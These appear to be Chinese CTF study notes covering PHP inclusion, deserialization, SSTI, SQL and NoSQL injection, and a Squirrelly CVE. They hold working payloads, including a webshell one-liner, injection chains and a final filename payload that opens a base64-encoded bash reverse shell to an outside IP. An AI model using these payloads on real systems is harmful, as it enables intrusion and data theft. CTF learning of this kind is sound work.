文件包含

Web_php_include/1

代码审计:

include($page),使用了include这个文件包含函数,被include包含的$page通过get方式传入且可控。所以存在文件包含漏洞。但在判断在中通过strstr过滤了“php://”(当传入page时存在php://时候替换为空{即$page=str_replace(“php://”,“”,$page;)})

尝试用大小写,报错确定是linux系统

image-20220930153815468

用BP抓包发送<php system(“ls”)?>

得到xxxxxxxxxxxxxxxxx

再次发送

得到flag

Web_php_include/2

利用data写入一句话木马

http://61.147.171.105:60509/?page=data://text/plain,<?php @eval($_POST['AHHH'])?>

利用蚁剑连接

image-20220930161021221

fileclude

知识点

  • inlcude语句包含并运行指定文件。被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找。如果在include_path下没找到该文件则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include结构会发出一条警告。

  • empty()判断一个变量是否为空。当一个变量并不存在,或者他的值等同于FALSE,那么它会被认为不存在。如果变量不存在的话,empty并不会产生警告。当变量存在,并且是一个非空非零的值时返回FALSE否则返回TRUE。

  • isset()函数用于检测变量是否已设置并且非NULL。

  • file_get_contents()待读取文件的路径作为参数发送给函数,并且返回成功时读取的数据,失败时返回FALSE.

  • php://filter可以进行任意文件的读取,并进行base64编码输出,利用这种方法可以获得加密的网页源码

    用法:

    1
    ?name=php://filter/read=convert.base64-encode/resource=xx.php

    data://可以将内容写入file变量中,通常用来执行PHP代码

    用法:

    1
    ?name=data://text/plain,<?php eval($_POST['cmd']);?>
  • php://input 可以访问请求的原始数据的只读流,可以读取没有处理过的POST数据。

    用法:

    1
    2
    ?name=php://input   
    [POST data]:xxxxxxxx

    image-20221012160908825

代码审计

file1被放入include函数中,

可以用php伪协议绕过

file2被放入file_get_contents函数中可以用data伪协议(题解上说还可以用php://input)

1
?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

变量1

告诉我们flag是一直在变的

代码审计

正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成

^\w+$表示的是匹配都是字母的串

$$args是一个可变变量,如果$args的值为另一个变量名$$args就可以代表另一个变量,

所以可以依次考虑给args赋值php中的九大全局变量,看看能不能把flag爆出来

1
2
$_POST,$_GET,$_FILES,$_COOKIE,$_SESSION,$_REQUEST,$_SERVER,$GLOBALS,$_ENV)
$_POST

结果证明GLOBALS(会以字典类型返回当前位置的全部变量)可以

image-20221005192039710

反序列化

Web_php_unserialize/1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
class Demo { //定义一个分类
private $file = 'index.php'; //变量属性
public function __construct($file) { //类方法
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { //要绕过wakeup不然文件将会返回index.php
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //flag位置
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //判断是否传入参数
$var = base64_decode($_GET['var']); //对传入参数进行base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //正则检查
die('stop hacking!');
} else {
@unserialize($var); //反序列化
}
} else {
highlight_file("index.php"); //返回想要结果
}
?>
$A=new Demo('fl4g.php');
$B=serialize($A);//产生一个可存储的值的表示 .即序列化
$C=str_replace('O:4','O:+4',$B);
$C=str_replace(':1:',':2:',$C);
var_dump($C);

知识点

1.反序列化漏洞?

php中提供两个函数可将任意类型数据转换成string类型,或逆过程
Serizlaze
Unserialize
当unserialize的参数被用户控制时,就会形成反序列化漏洞

2.魔术函数

magic函数通常以“_”开头

_construct

_destruct

_toString

_sleep
_wakeup

__sleep当对对象序列化时调用(如果存在的话),常用于提交未提交的数据

__wakeup当对对象反序列化时调用(如果存在的话),常用于重新建立数据库连接,或执行其他初始化操作

代码审计

  • 类Demo中struct(),destruct()函数分别在代码执行开始结束时调用。而wakeup函数会在代码执行过程中自动调用。
  • 传入的参数还要被preg_math()函数过滤
  • 在PHP<5.6.25,PHP&<7.0.10的版本存在wakeup的漏洞。当反序列化中object(对象)的个数和之前的个数不等时,wakeup就会被绕过。
  • flag在fl4g.php文件中,想要显示该文件需要绕过

解题

  • 我们构造脚本把字符串 fl4g.php 序列化后层层伪装,在进行base64加密(因为源代码中有base64解密)字符串**" fl4g.php “** 序列化后为“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”

  • preg_match(‘/[oc]:\d+:/i’;$var)

    —preg_match正则函数

    —\d整型数

    —i 区分大小写

    函数想要过滤“O:4”我们就伪装成“O:+4”即$C=str_replace(‘O:4’,'O:+4,$C;)//绕过preg_match

  • funtion_wakeup()

    {

    if ($this->file != ‘index.php’)

    {

    //the secret is in the fl4g.php

    $this->file = ‘index.php’;

    }

    当反序列化后的对象个数大于原来的个数时wakeup函数就会被绕过,所以我们可以把对象个数写成2个

    $C=str_replace(‘:1’,‘:2’,$C);/绕过wakeup/


注意:

$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉

所以“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}"

这里是s:10:而不是s:8:

00x3.Get Flag

输出运行结果:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

传参var

img

首先?kint=1&1=passthru&2=cat /flag.txt

构造序列化字符串

1
2
3
4
5
<?php
echo serialize('');
?>
结果
s:0:"";
1
2
3
4
$a = array('张三','李四','王五');
$a_ser = serialize($a);
echo "$a_ser <br>";
print_r(unserialize($a_ser));
1
flag{Th1s_Is_s000_e4sy_d0_y00u_th1nk_so?}

[SWPUCTF 2018]SimplePHP

upload_file.php作用:上传文件并经function.php判断。

1
2
3
4
5
index.php
<?php
header("content-type:text/html;char=utf-8");//请求头
include 'base.php';//包含base.php
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
file.php
<?php
header("content-type:text/html;char=utf-8");
include 'function.php'
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show(); //show的一个类
if(file_exists($file)) { //该函数存在phar反序列化
$show->source = $file;
$show->_show(); //调用Show类的_show()方法
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下,且我们是可以进入upload下的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test; /*这里的echo 就可以触发__toString,并且__destruct中的test可以通过__construct中str获取*/
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source; /*这里就可以满足触发__get的条件,但是怎么触发__toString*/
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key); /*由__get->get方法*/
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value) /*这里找到了读取文件或者可以执行shell的地方,在Test类中file_get中可以读取文件*/
{ /*由get->file_get可以读取我们想要的文件,这时候就要访问一个Test类没有或者不可访问的属性,*/
$text = base64_encode(file_get_contents($value));
return $text;
}
}

$a = new C1e4r();
$b = new Show();
$a->str = $b; //触发__tostring
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$b->str['str'] = $c; //触发__get;

$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发类是C1e4r类
$phar->addFromString("text.txt", "test"); //签名
$phar->stopBuffering();

最终(大佬)确定的pop链

1
C1e4r::__destrucr->Show::__toString->Test::file_get()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new

SSTI

1
2
3
4
5
6
7
8
9
10
11
ip注入
client-ip:{system(‘ls’)}


[CISCN2019 华东南赛区]Web11

smarty ssti:
smarty是php的模板引擎,模板引擎的作用就是分离前端页面和数据的,题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,且根据它的提示XFF我们很容易想到,在X-Forwarded-For里构造ssti:payload。

{if phpinfo()}{/if}
{php phpinfo()}{/if}

[WesternCTF2018]shrine

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')
//注册了一个名为FLAG的config

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) //这里把config,self做了黑名单过滤,替换为空
+ s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)
1
/shrine/{{url_for.__globals__['current_app'].config}}

/shrine/添加到 URL 末尾作为查询参数

url_for

twig

payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

Simple_SSTI_2

image-20221004213224999

让我们上传一个名为flag的参数

先试一下php伪协议

image-20221004213549630

试试data伪协议

image-20221004213945678

方法不被允许

只能上网搜索了

找到了

1
payload:/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}

image-20221004214740355

game1

image-20221004223348692

看到是小游戏想到应该是要修改分数,先玩一局试试

在元素中找到对应分数修改试试,

image-20221004223852170

修改试试

image-20221004223909435

好像没有用。有没有用搜一下flag或者base就知道了

image-20221004224005973

image-20221004224037519

没有flag但是发现分数好像有base编码

最后用BP试试,先开BP,玩一局游戏,然后BP可以拦截到发送包

主要看第一行image-20221004224342544

直接修改分数试试

image-20221004224450656

不行,之前我们知道他有base编码,看看sign是什么

image-20221004224555859

没解码出来或许加了东西

image-20221004224653134

与50的base编码对比发现

sign=zM+分数+==

修改得到flag

image-20221004224807572

命令执行

easy_eval

image-20221005195612171

image-20221005200309810

查看根目录

image-20221005200330820

发现可疑文件f1agaaa,

image-20221005200451047

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?>

代码审计

首先要绕过两个if语句判断,让 $key1 = 1

1
2
3
4
5
6
7
8
'8b184b'a可以用科学计数法?a=1e9=1000000000 ,大于6000000并且字符长度小于3
b的md5散射值后6个字符应为'8b184b'可用代码
<?php
for($b=1;$b<111111111;$b++){
if('8b184b' === substr(md5($b),-6,6))){
echo $b<break>;
}
}

然后要让c是数组,m不是数字或数字字符串 且m>2022

1
可以让c={m:"2222vw50"}

然后要让c=[“n”]是一个有两**个单元的数组,还要让$c[“n”][0])是数组

1
2
3
4
5
6
c={m:"2222vw5","n":[[3],0]}//这个可以
{m:"2222vw5","n":[[68],0]}//这个不行
{"m":"2222vw50","n":[[[646546],0],0]}//这3个都没搞清楚
//强行解释第一个[3] , 0是两个单元
//第二个[[646546] , 0是两个单元
只要最后是0好像就可以

绕过array_search

//array_search函数可以在数组内寻找某个键值,如果找到就返回键名,未找到就返回false

1

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

1
2
3
4
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement

第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key

最后还要用url编码

image-20221011222203391

fileinclude

image-20221012183835752

Connection: close在它下面修改貌似不行

SQL

最简单的SQL注入

image-20221012222417426

输入万能密码

1
2
'or'1'='1
1'or'=1

image-20221012222448343

不会啦,/抓包试试大佬的万能密码

1
'+or+1=1#

image-20221012222648026

为什么是在用户名输呢?

image-20221012222623578

因为都一样哈哈

给自己的万能密码升级~~~

1
'or'1'=1#

查询列数(“+”在页面输入的时候要换成空格)

1
username=admin'+or+1=1+order+by+1,2,3#&password=123
1
admin%27+or+1%3D1+order+by+3/*1,2,3,4,5,*/#

image-20221013083343070

查询到第2列有回显,接下来查询数据库名

1
2
username=admin'+or+1=1+union+select+1,database(),3#&password=
'or/**/1=1/**/union/**/select/**/1,database(),3#

image-20221013083641137

查询数据库内数据表

1
2
3
4
5
6
username=admin'+or+1=1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema="web2"#&password=123

' or 1=1 union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema="web2"#

id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web2"#

image-20221013083914766

爆字段

小知识:concat意为连接

information_schema方案名)(或者表名?)

1
2
3
4
5
6
7
8
username=admin'or+1=1+union+select+1,group_concat(column_name),
字段
3+from+information_schema.columns+where+table_name="flag"#
文件名


'or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#
错误schema拼写为shama

image-20221013084004587

爆值

1
2
3
4
username='+or+1=1+union+select+1,flag,3+from+flag#

'or 1=1 union select 1,flag,3 from flag#
错误union拼写为uinon

image-20221013084129544

(3条消息) ctf.show web2 最简单的SQL注入_0d@y的博客-CSDN博客_ctf.show_web2

(3条消息) SQL注入之联合查询注入_selecthch的博客-CSDN博客_sql注入查询所有数据库名

暴库

1
unino select 1,2,n,database()#  这里要看有多少字段

爆表

1
union select 1,2,n,group_concat(table_name) from information_schema.columns where table_name="表名"

爆字段

1
unino select 1,2,n,group_concat(column_name) from information_schema.columns where table_name="表名"

爆值

1
union select 1,2,n,字段 from 表名;#

在web6中还过滤了空格参考

1
2
3
4
5
6
/**/
()
回车(url编码中的%0a)
`
tap
两个空格

web7

image-20221013162309505

发现可以get传参,试了好多最后看WP发现是SQL注入。。。。并且过滤空格

image-20221013162418057

首先判断注入点,输入以下payload,使SQL恒成立

1
1/**/and/**/1

页面正常显示

image-20221013162650433

再注入,使其恒不成立

1
1/**/and/**/0

image-20221013162807948

由此可以判断存在SQL注入,注入点位数值注入,页面中有显示为,可以尝试

联合注入进行脱库

先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置

1
2
3
4
?id=-1/**/union/**/select/**/1,2,3
这里1,2
1,2,3,4
都是不行的

img

1
-1/**/union/**/select/**/1,database(),3

文件名是web7

image-20221013173011556

1
2
-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"
-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()--+

接下来获取当前数据库中的所有表

image-20221013175053423

1
id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"

有一个flag表

image-20221013175410478

1
id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag

有一个flag表,那flag肯定就藏在这个表里面

image-20221013175443293

奇怪的输出

1
-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="web7"
1
-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"

web8

先确定注入点

,输入,是其恒成立

1
-1/**/or/**/true

image-20221013180446172

然后输入

1
-1/**/or/**/false

因为SQL恒不成立所以不返回

image-20221013180912127

buuoj 第一章 web入门]SQL注入-1

观察

image-20221014080542664

发现上面有注入点

判断

输入1 and 1

1 and 0 页面不改变(最好带上注释符,尝试不然要浪费时间)

id=1’ and 1 = 1–+

id=1’ and 1 = 2–+

页面第二个出现逻辑报错

所以为字符型注入

image-20221014080908188

原来这也是报错,。。。。

判断字段数

1
2
3
4
5
6
经过注入发现2,3位置有回显
-1' union select 1,2,3--+
-1' union select 1,222,3333--+
也可以回显
222
3333

image-20221014102438477

暴库

1
-1' union select 1,group_concat(schema_name),3 from (information_schema.schemata)--+

得到当前所有数据库名

image-20221014120112898

可以看出当前数据库为note

1
-1'union select 1,database(),3--+

image-20221014120504661

爆表

1
-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="note"--+

得到当前数据库的表,fl4gnote

image-20221014120852624

爆列

1
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name="fl4g"--+

得到fl4g表的列名:fllllag

image-20221014121135657

爆值

1
-1'union select 1,group_concat(fllllag),3 from fl4g--+

image-20221014121449287

SQL2

快12点了,废话不多说

1
-1' union select 1,group_concat(schema_name),3 from (information_schema.schemata)--+

image-20221016233422824

image-20221016233542334

还挺可爱???

1
1'+and+updatexml(1,concat('^',(sElect+table_name+from+information_schema.tables+where+table_schema='note'),'^'),1)--+

image-20221017132022049

发现 回显:子查询返回 1 行以上

我们可以加上 limit 0,1 查询第一行

image-20221017132226930

老办法

image-20221017132341394

随便注

先用万能密码

image-20221017201418826

在用uninoimage-20221017201450814

发现select被过滤

去百度寻找新大陆

1
`1';show databases;#

查出所有数据库

image-20221017201856144

看表名

image-20221017202034795

1919810931114514里面没东西

看words

image-20221017202223284

varchar中有20字节应该是flag,怎么把他取出来呢

我们看大佬的描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18


```
首先输入1';show databases;#能看到返回了数据库中所有的数据库名。
首先输入1';show tables;#能看到当前数据库supersqli下所有的表名。
首先输入1';show columns from words#能看到刚好有两个字段id和data。
这时候就能猜到完整的SQL语句select * from words where id = ?
输入1';show columns from 1919810931114514;#,这段数字是数据库supersqli下的另外一个表名,能到这个表下面有个flag的字段。
————————————————
https://blog.csdn.net/weixin_42271850/article/details/104687046
```

因为前面知道过滤了select,那么如果想要能查出对应的数据,只能依靠它原有的SQL语句select * from words where id = ?。这个语句是查询words表下的id和data字段,但我们需要查询的是1919810931114514下的flag字段。这样思考的话就能想到通过改表名和字段名查询出我们想要的数据。

ALTER TABLE `words` RENAME to `words1`; 修改原表名
ALTER TABLE `1919810931114514` RENAME to `words`; 修改目标表名
ALTER TABLE `words` change `flag` `id` VARCHAR(100); 修改目标字段
然后将这三句话拼接在一起就能得到最终的语句。Tips:一定要一起执行,不然的话因为修改了表名后,select语句找不到对应表名会报错。

意思就是要将

1
2
3
4
5
6
1';rename table words to word1;rename table `1919810931114514` to `words`;alter table `words` add `id` int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` `varchar(100)`;#

1';ALTER TABLE `words` RENAME to `words1`;ALTER TABLE `1919810931114514` RENAME to `words`;ALTER TABLE `words` change `flag` `id` VARCHAR(100);#

1';rename table words to word1;rename table `1919810931114514` to `words`;alert table `words` change `flag` `data` `varchar(100)`;#
输出了error 1054 : Unknown column 'id' in 'where clause'

22.34

懂了

从这里可以猜 ‘or’1’='1 进入的界面为

words表里的id字段的值

后面不再写了,还是写吧。。。

做出来啦,好耶~

payload奉上:

1
1';RENAME TABLE words to `1`;RENAME TABLE `1919810931114514` to words;ALTER TABLE words CHANGE flag id varchar(100);#

image-20221017223855061

[SUCTF 2019]EasySQL(后端代码ti)

提交个1看看

眼熟。。。

image-20221018170956846

用堆叠注入

image-20221018171119906

寄,发现是数值注入

暴库

image-20221018171208459

爆表

image-20221018171235753

只有一个表???

image-20221018171351153

加上注释符试试

最后发现from flag d都被过滤

PRAPARE也被过滤

貌似只能用RENAME

可是推不出来flag在哪里 回显的又是哪个。。。。

[SWPUCTF 2021 新生赛]sql

进去一看,鼠鼠只能说 who jb you

image-20221025223134528

F12找到

image-20221025223205485

传参

1,正常回显

image-20221025223304920

1’ 报错,确定为字符串

image-20221025223325313

1
2
3
4
5
6

但是后面就要用这句话http://1.14.71.254:28596/?wllm=0'/**/union/**/select/**/1,2,3'
用下面的话,替换 ' 不行
但是后面就要用这句话

/**/having/**/'1'/**/like/**/'1

回显位 2. 3

image-20221025223914079

1
http://1.14.71.254:28596/?wllm=0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/having'1'like'1

暴库

image-20221025224056463

1
http://1.14.71.254:28596/?wllm=0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/having'1'like'1

爆表

image-20221025225309172

这个题告诉我们不要依赖mysql

暴表, 5555…被限制20字符只显示了一半

1
0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/having'1'like'1

image-20221025230505432

1
2
3
这样才有后面一段

http://1.14.71.254:28596/?wllm=0'/**/union/**/select/**/1,2,mid(group_concat(table_name),20,20)/**/from/**/mysql.innodb_table_stats/**/having'1'like'1

image-20221025230525794

1
2
这样查完整的
http://1.14.71.254:28596/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"test_db"/**/having'1'like'1

image-20221025230616393

暴列

1
http://1.14.71.254:28596/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"LTLT_flag"/**/having'1'like'1

image-20221025230707268

1
2
http://1.14.71.254:28596/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag/**/having'1'like'1
这是只有一段要用mid函数截断

image-20221025230752517

1
http://1.14.71.254:28596/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/LTLT_flag/**/having'1'like'1

NSSCTF-babysql

先试一下万能密码

1

image-20221030110953199

接着试一下联合查询

image-20221030111058625

过滤了注释符,空格,if,and,对大小写敏感

找不到显示位,放弃了,可能是布尔盲注。

对闭合不是很了解,试了好久

1
username=0'or/**/length(database())>1/**/having'1'='1

image-20221030111845522

image-20221030111952689

数据库长度为4,同时说明布尔盲注可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 开发时间:2022/10/30 10:59
import requests

url = 'http://1.14.71.254:28277/'
name = ''

for i in range(1,100): #貌似越长越好,毕竟长了可以手动停,短了就,,,,
min = 32
max = 126
mid = (min+max) // 2 #配合二分法向下取整,

while(min<max):
#sql = "'or/**/(ascii(mid((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1))>{})/**/having'1'='1".format(i,mid)
sql = "'or/**/(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test'),{},1))>{})/**/having'1'='1".format(i,mid)
sql = "'or/**/(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{},1))>{})/**/having'1'='1".format(i,mid)
sql = "'or/**/(ascii(mid((select/**/group_concat(flag)/**/from/**/flag),{},1))>{})/**/having'1'='1".format(i,mid)
data = {
"username": sql
}
r = requests.post(url=url, data=data)
if '前有flag,所以,是绕过的时候了' in r.text:
min = mid +1
else:
max = mid
mid = (min + max) // 2
name += chr(mid)
print("name:%s"%name)

[CISCN2019 华北赛区 Day2 Web1]Hack World

考点

括号绕过空格

异或加布尔盲注

1
sql = "1^(ascii(mid((select(flag)from(flag)),{},1))>{})^1".format(i, mid)
上学期结束

DASCTF-EzNode2

涉及知识点

  • Mongodb注入
  • CVE-2021-32819
  • CVE-2020-7699

0x01 mongodb注入

参考文章:Nosql 注入从零到一

MongoDB 基础概念解析

不管我们学习什么数据库都应该学习其中的基础概念,在 MongoDB 中基本的概念有文档、集合、数据库,如下表所示:

SQL 概念 MongoDB 概念 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB 不支持
primary key primary key 主键,MongoDB 自动将 _id 字段设置为主键

下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:

RDBMS MongoDB
数据库 数据库
表格 集合
文档
字段
表联合 嵌入文档
主键 主键(MongoDB 提供了 key 为 _id)

MongoDB 创建数据库的语法格式如下:

1
use DATABASE_NAME

如果数据库不存在,则创建数据库,

MongoDB 创建集合

MongoDB中我们使用creatCollecion()方法来创建集合.

1
db.createCollection(name, options)
  • name:要创建的集合名称
  • options:可选参数,指定有关内存大小及索引的选项

MongoDB 插入文档

在MongoDB 中我们使用insert()方法项集合中插入文档,语法如下:

1
db.COLLECTION_NAME.insert(document)

0x02CVE-2021-32819

1622461514_60b4cc4a441fb6ebd9169.png!small?1622461514114

红圈中两个变量都是本地的配置变量,但是却可以通过url中的参数来覆盖这两个变量的值,比如url参数:“/?autoEscape=&defaultFilter=b”可以使env.autoEscape的值变为"",使env.defaultFilter的值变为“b”。在不做任何特殊配置的情况下env.autoEscape的值为:“true”,env.defaultFilter的值为:“false”,因此上述代码运行完成后returnStr的值大致如下:“tR+=‘’;tR+=c.l(‘F’,‘e’)(it.Express);tR+=‘’;”。

所利用的就是将env.defaultFilter的值进行覆盖,完成恶意命令执行

方法一

没有过滤掉regexp

只是判断一下长度就进去了

1
2
post data
username[$regex]=.{3}&password[$regex]=.{3}

image-20230219113257931

然后是文件上传

image-20230219113722639

登录后可以传文件这里使用了 squirrelly 模板该模板有个CVE , CVE-2021-32819参考

https://github.com/advisories/GHSA-q8j6-pwqx-pm96

这里文件名是可控的本地测试下尝试使用网上的payload

1
filename="aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('echo YmFzaCAtaSAmPi9kZXYvdGNwLzEyMC41NS4xMDMuMTMyLzY2NjYgMD4mMQ==|base64 -d|bash');c.l('F','e"